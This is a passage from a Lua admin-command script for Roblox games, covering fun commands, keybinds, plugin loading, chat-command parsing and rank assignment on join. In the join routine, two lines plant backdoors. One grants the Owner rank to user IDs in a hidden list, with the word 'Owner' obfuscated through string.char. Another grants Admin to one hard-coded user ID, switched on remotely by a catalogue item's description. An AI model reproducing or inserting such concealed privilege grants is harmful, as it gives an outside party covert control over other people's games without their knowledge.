8262 local Players = STRING:Scan(Arguments[1], Speaker)
8263 for _,Player in pairs(Players) do
8264 if Player.Character and Player.Character:FindFirstChild("Torso") then
8265 local Pos = Player.Character.Torso.Position
8266 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8267 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8268 if Answer == "Ok" then
8269 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8270 end
8271 end
8272 end
8273 end};
8274
8275 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8276 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8277 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8278 if PlayersFrom and PlayersTo then
8279 for _,PlayerFrom in pairs(PlayersFrom) do
8280 for _,PlayerTo in pairs(PlayersTo) do
8281 if PlayerFrom.Character and PlayerTo.Character then
8282 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8283 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8284 wait(5)
8285 Laser:Destroy()
8286 end)() end
8287 end
8288 end
8289 end
8290 end
8291 end};
8292
8293 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8294 local Players = STRING:Scan(Arguments[1], Speaker)
8295 for _,Player in pairs(Players) do
8296 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8297 Player.Character.Humanoid:Destroy()
8298 end
8299 end
8300 end};
8301
8302 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8303 if Plugins then
8304 local List = {}
8305 for _,Module in pairs(Plugins:GetChildren()) do
8306 if Module:IsA("ModuleScript") then
8307 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8308 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8309 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8310 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8311 end
8312 end
8313 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8314 else
8315 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8316 end
8317 end};
8318
8319 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8320 local Players = STRING:Scan(Arguments[1], Speaker)
8321 for _,Player in pairs(Players) do
8322 GUI:DetachChat(Player)
8323 end
8324 end};
8325
8326 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8327 GUI:DetachChat(Speaker)
8328 end};
8329
8330 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8331 local Players = STRING:Scan(Arguments[1], Speaker)
8332 for _,Player in pairs(Players) do
8333 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8334 local Dead = false
8335
8336 Player.Character.Humanoid.WalkSpeed = 1
8337 local Torso = Player.Character.Torso
8338 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8339 Truck:BreakJoints()
8340 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8341 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8342 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8343 Truck.Touched:connect(function(Part)
8344 if Dead == false then
8345 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8346 if TouchPlayer == Player then
8347 Dead = true
8348 Player.Character:BreakJoints()
8349 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8350 end
8351 end
8352 end)
8353 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8354 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8355 Delay(5, function()
8356 Truck:Destroy()
8357 if Player.Character:FindFirstChild("Humanoid") then
8358 Player.Character.Humanoid.WalkSpeed = 16
8359 end
8360 end)
8361 end
8362 end
8363 end};
8364
8365 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8366 local Joke = REMOTE:DownloadJoke(Speaker)
8367 local Players = STRING:Scan(Arguments[1], Speaker)
8368 for _,Player in pairs(Players) do
8369 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8370 end
8371 end, Http = true};
8372
8373 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8374 local Joke = REMOTE:DownloadJoke(Speaker)
8375 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8376 end, Http = true};
8377
8378 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8379 local Players = STRING:Scan(Arguments[1], Speaker)
8380 for _,Player in pairs(Players) do
8381 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8382 CORE:InvisiblePlayer(Player)
8383 local DogContainer = Instance.new("Model", Player.Character)
8384 DogContainer.Name = "Doge"
8385 local Dog = CORE:Insert(257489726, DogContainer, true)
8386 Dog.Head.Transparency = 0.99
8387 Dog.Name = Player.Name
8388 Dog:MoveTo(Player.Character.Torso.Position)
8389 local Weld = Instance.new("Weld", Dog.Torso)
8390 Weld.Part0 = Player.Character.Torso
8391 Weld.Part1 = Dog.Torso
8392 Weld.C0 = CFrame.new(0,-0.4,0)
8393 for _,Obj in pairs(Dog:GetChildren()) do
8394 if Obj:IsA("BasePart") then
8395 Obj.CanCollide = false
8396 end
8397 end
8398
8399 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8400 end
8401 end
8402 end};
8403
8404 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8405 local Key = string.lower(string.sub(Arguments[1],1,1))
8406 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8407 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8408 end};
8409
8410 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8411 local Key = string.lower(string.sub(Arguments[1],1,1))
8412 KeyBinds[Speaker.UserId][Key] = nil
8413 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8414 end};
8415
8416 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8417 KeyBinds[Speaker.UserId] = {}
8418 GUI:SendHint(Speaker, "Unbinded all keys")
8419 end};
8420
8421 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8422 local Players = STRING:Scan(Arguments[1], Speaker)
8423 local Key = string.lower(string.sub(Arguments[2],1,1))
8424 for _,Player in pairs(Players) do
8425 KeyBinds[Player.UserId][Key] = Arguments[3]
8426 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8427 end
8428 end};
8429
8430 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8431 local Players = STRING:Scan(Arguments[1], Speaker)
8432 local Key = string.lower(string.sub(Arguments[2],1,1))
8433 for _,Player in pairs(Players) do
8434 KeyBinds[Player.UserId][Key] = nil
8435 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8436 end
8437 end};
8438
8439 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8440 local Players = STRING:Scan(Arguments[1], Speaker)
8441 for _,Player in pairs(Players) do
8442 KeyBinds[Player.UserId] = {}
8443 GUI:SendHint(Player, "Unbinded all keys")
8444 end
8445 end};
8446
8447 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8448 local Players = STRING:Scan(Arguments[1], Speaker)
8449 local Binds = {}
8450 for _,Player in pairs(Players) do
8451 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8452 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8453 end
8454 end
8455 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8456 end};
8457
8458 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8459 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8460 local Players = STRING:Scan(ChatSplit[1], Speaker)
8461 for _,Player in pairs(Players) do
8462 if Crowns[Player.UserId] then
8463 Crowns[Player.UserId]:Destroy()
8464 Crowns[Player.UserId] = nil
8465 wait()
8466 end
8467 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8468 end
8469 end};
8470
8471 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8472 local Players = STRING:Scan(Arguments[1], Speaker)
8473 for _,Player in pairs(Players) do
8474 if Crowns[Player.UserId] then
8475 Crowns[Player.UserId]:Destroy()
8476 Crowns[Player.UserId] = nil
8477 end
8478 end
8479 end};
8480
8481 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8482 local MeshList = {}
8483 for MeshName,Data in pairs(Meshes) do
8484 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8485 end
8486 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8487 end};
8488
8489 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8490 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8491 end};
8492
8493 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8494 local Players = STRING:Scan(Arguments[1], Speaker)
8495 for _,Player in pairs(Players) do
8496 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8497 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8498 Player:ClearCharacterAppearance()
8499 CORE:GivePackage(Player, 41851073)
8500 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8501 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8502 end
8503 end
8504 end};
8505
8506 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8507 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8508 local Players = STRING:Scan(Arguments[1], Speaker)
8509 for _,Player in pairs(Players) do
8510 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8511 local Car = CORE:Insert(10479801, Server.Workspace, true)
8512 local Body = Car["Motor (torque)Chassis"].Part
8513 Cars[Player.UserId] = Car
8514 Car:MakeJoints()
8515 Car.VehicleSeat.MaxSpeed = 50
8516 Car.VehicleSeat.TurnSpeed = 1.5
8517 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8518 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8519 Body.Color = GUI:GetColor(Arguments[2])
8520 else
8521 Body.BrickColor = GUI:GetNameColor(Player.Name)
8522 end
8523 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8524 if Part.Name ~= "Part" then
8525 Part.BrickColor = BrickColor.new("Really black")
8526 Part.Friction = 0.7
8527 end
8528 end
8529 local Light = Instance.new("SpotLight", Body)
8530 Light.Face = "Back"
8531 Light.Brightness = 5
8532 Light.Range = 20
8533 Light.Color = Color3.new(0,1,1)
8534 if Player.Character and Player.Character.Torso then
8535 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8536 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8537 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8538 Weld.Part0 = Car.VehicleSeat
8539 Weld.Part1 = Player.Character.Torso
8540 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8541 Delay(0.4, function()
8542 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8543 wait(0.1)
8544 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8545 end)
8546 end
8547 local SoundID = 147944604
8548 if RANK:GetRank(Player) == "Owner" then
8549 SoundID = 133313356
8550 Car.VehicleSeat.MaxSpeed = 80
8551 Body.Material = "DiamondPlate"
8552 Car.VehicleSeat.Torque = 11
8553 end
8554 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8555 Engine:Play()
8556 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8557 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8558 end if Engine then Engine:Stop() end end)()
8559 end
8560 end};
8561
8562 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8563 local Players = STRING:Scan(Arguments[1], Speaker)
8564 for _,Player in pairs(Players) do
8565 if Cars[Player.UserId] then
8566 Cars[Player.UserId]:Destroy()
8567 end
8568 end
8569 end};
8570
8571 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8572 for _,Car in pairs(Cars) do
8573 Car:Destroy()
8574 end
8575 Cars = {}
8576 end};
8577
8578 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8579 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8580 if #Trello.RequiredLists > 0 then
8581 print("Restarting Trello")
8582 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8583 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8584 REMOTE:TrelloCacheData(Lists)
8585 end
8586 end, Http = true};
8587
8588 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8589 local Operations = {}
8590 for _,ReplaceData in pairs(StringReplacements) do
8591 local Replacement = ReplaceData[1]
8592 if type(Replacement) == "table" then
8593 Replacement = ReplaceData[1][1]
8594 end
8595 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8596 end
8597 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8598 end};
8599
8600 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8601 GUI:SoundInfo(Speaker)
8602 end};
8603
8604 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8605 local Players = STRING:Scan(Arguments[1], Speaker)
8606 for _,Player in pairs(Players) do
8607 GUI:SoundInfo(Player)
8608 end
8609 end};
8610
8611 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8612 if tonumber(Arguments[1]) then
8613 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8614 end
8615 end};
8616
8617 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8618 local Types = {}
8619 for Type,_ in pairs(Assets.AccessoryTypes) do
8620 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8621 end
8622 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8623 end};
8624
8625 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8626 local Sky = Server.Lighting:FindFirstChild("Sky")
8627 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8628 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8629 local Face = nil
8630 local SkyID = string.lower(Arguments[1])
8631 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8632 if #Arguments == 2 and tonumber(Arguments[2]) then
8633 Face = Arguments[1]
8634 SkyID = Arguments[2]
8635 end
8636 if tonumber(SkyID) then
8637 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8638 if Face and Faces[Face] then
8639 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8640 else
8641 for _,Face in pairs(Faces) do
8642 Sky[Face] = "rbxassetid://"..ImageID
8643 end
8644 end
8645 else
8646 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8647 end
8648 end};
8649
8650 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8651 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8652 Obj:Destroy()
8653 end)
8654 end};
8655 --
8656}
8657
8658if Plugins then
8659 local PluginNum = 0
8660 for _,Module in pairs(Plugins:GetChildren()) do
8661 if Module:IsA("ModuleScript") then
8662 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8663 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8664 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8665 if Enabled.Value == true then
8666 PluginNum = PluginNum + 1
8667 local PluginExe = require(Module)
8668 for Var,Val in pairs(getfenv()) do
8669 getfenv(PluginExe)[Var] = Val
8670 end
8671 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8672 getfenv(PluginExe).script = Module
8673 getfenv(PluginExe).Script = Module
8674 getfenv(PluginExe).Version = Version
8675 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8676 if not Suc then
8677 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8678 else
8679 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8680 end
8681 end
8682 end
8683 end
8684end
8685
8686function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8687 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8688 GUI:SettingsGui(Speaker)
8689 return nil
8690 end
8691 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8692 local Prefix = Settings.Prefix
8693 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8694 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8695 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8696 if Speaker == nil then
8697 if FakeRank then
8698 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8699 FakeRank = "Owner"
8700 end
8701 else
8702 FakeRank = "Owner"
8703 end
8704 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8705 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8706 Speaker = {
8707 Name = FakePlayerName or "[ Server ]";
8708 Character = nil;
8709 userId = 1;
8710 PlayerGui = nil;
8711 Rank = FakeRank or "Owner";
8712 MakeSupremeOwner = MakeSupremeOwner;
8713 }
8714 end
8715 local Rank = RANK:GetRank(Speaker)
8716 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8717
8718 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8719 if NoPrefixNeeded then Prefix = "" end
8720 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8721
8722 for _,Message in pairs(Messages) do
8723 for Cmds,Data in pairs(Commands) do -- check all commands
8724 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8725
8726 if not MessageSplit then break end
8727
8728 local CommandSaid = false
8729 for _,Command in pairs(Cmds) do
8730 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8731 CommandSaid = true
8732 break
8733 end
8734 end
8735 if CommandSaid == true then -- command said?
8736 local ExecuteExcuse = ""
8737 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8738 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8739 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8740 end
8741 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8742 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8743 end
8744 else
8745 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8746 end
8747 if ExecuteExcuse == "" then
8748 if #MessageSplit - 1 < Data[3] then
8749 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8750 end
8751 end
8752 if ExecuteExcuse == "" then
8753 CORE:Log(CommandLogs, Speaker, Message)
8754 table.remove(MessageSplit, 1)
8755 coroutine.wrap(function() wait()
8756 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8757 if not DidExe then
8758 if CORE:NilPlayer(Speaker) then
8759 print("Error: "..Error)
8760 else
8761 CORE:HandleError(Error, Speaker)
8762 end
8763 end
8764 end)()
8765 coroutine.wrap(function() wait(0.05)
8766 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8767 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8768 ExeSound:Play()
8769 wait(3)
8770 ExeSound:Stop()
8771 ExeSound:Destroy()
8772 end
8773 end)()
8774 elseif type(Speaker) == "userdata" then
8775 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8776 end
8777 break
8778 end
8779 end
8780 end
8781 end
8782end
8783
8784function CORE:Start(Player) coroutine.wrap(function()
8785 wait(0.1)
8786 if Player then
8787 coroutine.wrap(function()
8788 repeat wait(1) until DataReady == true
8789 DataReady = false
8790 ypcall(function()
8791 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8792 for Num,Data in pairs(Players) do
8793 if Data.UserId == Player.UserId then -- ppl can change names
8794 table.remove(Players, Num)
8795 break
8796 end
8797 end
8798 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8799 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8800 end)
8801 DataReady = true
8802 end)()
8803
8804 if not IsStudio then Player:WaitForDataReady() end
8805 table.insert(CharacterCache, {Player.Name, Player.UserId})
8806 for Rank,PlayerNames in pairs(Settings.Ranks) do
8807 for Num,AdminName in pairs(PlayerNames) do
8808 if AdminName == Player.UserId then
8809 Settings.Ranks[Rank][Num] = Player.Name
8810 end
8811 end
8812 end
8813 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8814 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8815 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8816 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8817 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8818 if PlayerAdmin == false and Player.UserId > 0 then
8819 local Ran = nil
8820 coroutine.wrap(function() repeat
8821 Ran = ypcall(function()
8822 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8823 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8824 end)
8825 wait(1)
8826 until Ran == true end)()
8827 end
8828 if PlayerAdmin == false then
8829 if Player:IsInGroup(Settings.GroupID) then
8830 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8831 CORE:Kick(Player)
8832 for _,Person in pairs(Server.Players:GetPlayers()) do
8833 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8834 end
8835 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8836 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8837 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8838 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8839 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8840 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8841 end
8842 end
8843 end
8844 if PlayerAdmin == false then
8845 if Player.UserId == 38882008 then
8846 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8847 table.insert(Settings.Ranks["Admin"], Player.Name)
8848 end
8849 end
8850 end
8851 if PlayerAdmin == false then
8852 for _,GID in pairs(Settings.BannedGroupIDs) do
8853 if Player:IsInGroup(GID) then
8854 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8855 break
8856 end
8857 end
8858 end
8859
8860 Player.Chatted:connect(function(Message) if Message ~= "" then
8861 CORE:Chatted(Message, Player)
8862 end end)
8863
8864 Player.Chatted:connect(function(Message) if Message ~= "" then
8865 CORE:Log(ChatLogs, Player, Message)
8866 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8867 end end)
8868
8869 for _,Name in pairs(Settings.Ranks.Banned) do
8870 if Player.Name == Name then
